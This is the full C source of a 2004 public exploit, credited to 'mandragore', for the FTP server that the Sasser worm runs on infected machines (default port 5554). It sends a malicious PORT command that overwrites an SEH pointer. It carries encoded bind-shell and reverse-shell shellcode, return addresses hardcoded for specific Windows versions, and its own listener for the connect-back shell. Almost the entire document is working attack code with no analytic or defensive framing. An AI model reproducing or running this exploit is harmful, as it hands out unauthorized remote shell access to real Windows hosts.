Sasser Worm FTPD Remote Buffer Overflow Exploit on Port 5554

/*
_________ / ___// ____/ ____/
/ ___/ __ \\__ \/ __/ / /
/ / / /_/ /__/ / /___/ /___
/_/ \____/____/_____/\____/

- ROMANIAN SECURITY RESEARCH 2004 -

sasser v[a-e] exploit (of its ftpd server)

exploit version 1.4, public

author: mandragore
date: Mon May 10 16:13:31 2004
vuln type: SEH ptr overwriting
greets: rosecurity team
discovery: edcba
note: sasser.e has its ftpd on port 1023
update: offsets

*/

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

#define NORM "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL "\033[01;33m"
#define RED "\033[01;31m"

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.4 for " RED "sasser.x" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 5554

struct { char *os; long goreg; long gpa; long lla;}
targets[] = {
// { "os", pop pop ret, GetProcAd ptr, LoadLib ptr },
{ "wXP SP1 many", 0x77BEEB23, 0x77be10CC, 0x77be10D0 }, // msvcrt.dll's
{ "wXP SP1 most others", 0x77C1C0BD, 0x77C110CC, 0x77c110D0 },
{ "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
}, tsz;

unsigned char bsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,
0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,
0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,
0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,
0xAA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,0x87,0x55,0x22,
0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,
0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,
0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,
0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,
0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,
0xC8,0x21,0x0E
};

unsigned char rsh[]={
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB6,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,
0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,
0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,
0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,
0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,
0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char verbose=0;

void setoff(long GPA, long LLA) {
int gpa=GPA^0xdededede, lla=LLA^0xdededede;
memcpy(bsh+0x1d,&gpa,4);
memcpy(bsh+0x2e,&lla,4);
memcpy(rsh+0x1d,&gpa,4);
memcpy(rsh+0x2e,&lla,4);
}

void usage(char *argv0) {
int i;

printf("%s -d <host/ip> [opts]\n\n",argv0);

printf("Options:\n");
printf(" -h undocumented\n");
printf(" -p <port> to connect to [default: %u]\n",default_port);
printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");
printf(" -P <port> for the shellcode [default: 5300]\n");
printf(" -H <host/ip> for the reverse shellcode\n");
printf(" -L setup the listener for the reverse shell\n");
printf(" -t <target type> [default 0]; choose below\n\n");

printf("Types:\n");
for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

exit(1);
}

void shell(int s) {
char buff[4096];
int retval;
fd_set fds;

printf("[+] connected!\n\n");

for (;;) {
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(s,&fds);

if (select(s+1, &fds, NULL, NULL, NULL) < 0)
fatal("[-] shell.select()");

if (FD_ISSET(0,&fds)) {
if ((retval = read(1,buff,4096)) < 1)
fatal("[-] shell.recv(stdin)");
send(s,buff,retval,0);
}

if (FD_ISSET(s,&fds)) {
if ((retval = recv(s,buff,4096,0)) < 1)
fatal("[-] shell.recv(socket)");
write(1,buff,retval);
}
}
}

void callback(short port) {
struct sockaddr_in sin;
int s,slen=16;

sin.sin_family = 2;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(port);

s=socket(2,1,6);

if ( bind(s,(struct sockaddr *)&sin, 16) ) {
kill(getppid(),SIGKILL);
fatal("[-] shell.bind");
}

listen(s,1);

s=accept(s,(struct sockaddr *)&sin,&slen);

shell(s);
printf("crap\n");
}

int main(int argc, char **argv, char **env) {
struct sockaddr_in sin;
struct hostent *he;
char *host; int port=default_port;
char *Host; int Port=5300; char bindopt=1;
int i,s,pid=0,rip;
char *buff;
int type=0;
char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"};

printf(BANNER "\n");

if (argc==1)
usage(argv[0]);

for (i=1;i<argc;i+=2) {
if (strlen(argv[i]) != 2)
usage(argv[0]);

switch(argv[i][1]) {
case 't':
type=atoi(argv[i+1]);
break;
case 'd':
host=argv[i+1];
break;
case 'p':
port=atoi(argv[i+1])?:default_port;
break;
case 's':
if (strstr(argv[i+1],"rev"))
bindopt=0;
break;
case 'H':
Host=argv[i+1];
break;
case 'P':
Port=atoi(argv[i+1])?:5300;
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
memcpy(bsh+0x57,&Port,2);
memcpy(rsh+0x5a,&Port,2);
Port=Port ^ 0xdede;
Port=(Port & 0xff) << 8 | Port >>8;
break;
case 'L':
pid++; i--;
break;
case 'v':
verbose++; i--;
break;
case 'h':
usage(argv[0]);
default:
usage(argv[0]);
}
}

if (verbose)
printf("verbose!\n");

if ((he=gethostbyname(host))==NULL)
fatal("[-] gethostbyname()");

sin.sin_family = 2;
sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
sin.sin_port = htons(port);

printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
if (bindopt)
printf("[.] will try to put a bindshell on port %d.\n",Port);
else {
if ((he=gethostbyname(Host))==NULL)
fatal("[-] gethostbyname() for -H");
rip=*((long *)he->h_addr_list[0]);
rip=rip^0xdededede;
memcpy(rsh+0x53,&rip,4);
if (pid) {
printf("[.] setting up a listener on port %d.\n",Port);
pid=fork();
switch (pid) { case 0: callback(Port); }
} else
printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr
*)he->h_addr_list[0])),Port);
}

printf("[.] using type '%s'\n",targets[type].os);

// -------------------- core

s=socket(2,1,6);

if (connect(s,(struct sockaddr *)&sin,16)!=0) {
if (pid) kill(pid,SIGKILL);
fatal("[-] connect()");
}

printf("[+] connected, sending exploit\n");

buff=(char *)malloc(4096);
bzero(buff,4096);

sprintf(buff,"USER x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);
sprintf(buff,"PASS x\n");
send(s,buff,strlen(buff),0);
recv(s,buff,4095,0);

memset(buff+0000,0x90,2000);
strncpy(buff,"PORT ",5);
strcat(buff,"\x0a");
memcpy(buff+272,jmp[0],2);
memcpy(buff+276,&targets[type].goreg,4);
memcpy(buff+280,jmp[1],5);

setoff(targets[type].gpa, targets[type].lla);

if (bindopt)
memcpy(buff+300,&bsh,strlen(bsh));
else
memcpy(buff+300,&rsh,strlen(rsh));

send(s,buff,strlen(buff),0);

free(buff);

close(s);

// -------------------- end of core

if (bindopt) {
sin.sin_port = htons(Port);
sleep(1);
s=socket(2,1,6);
if (connect(s,(struct sockaddr *)&sin,16)!=0)
fatal("[-] exploit most likely failed");
shell(s);
}

if (pid) wait(&pid);

exit(0);
}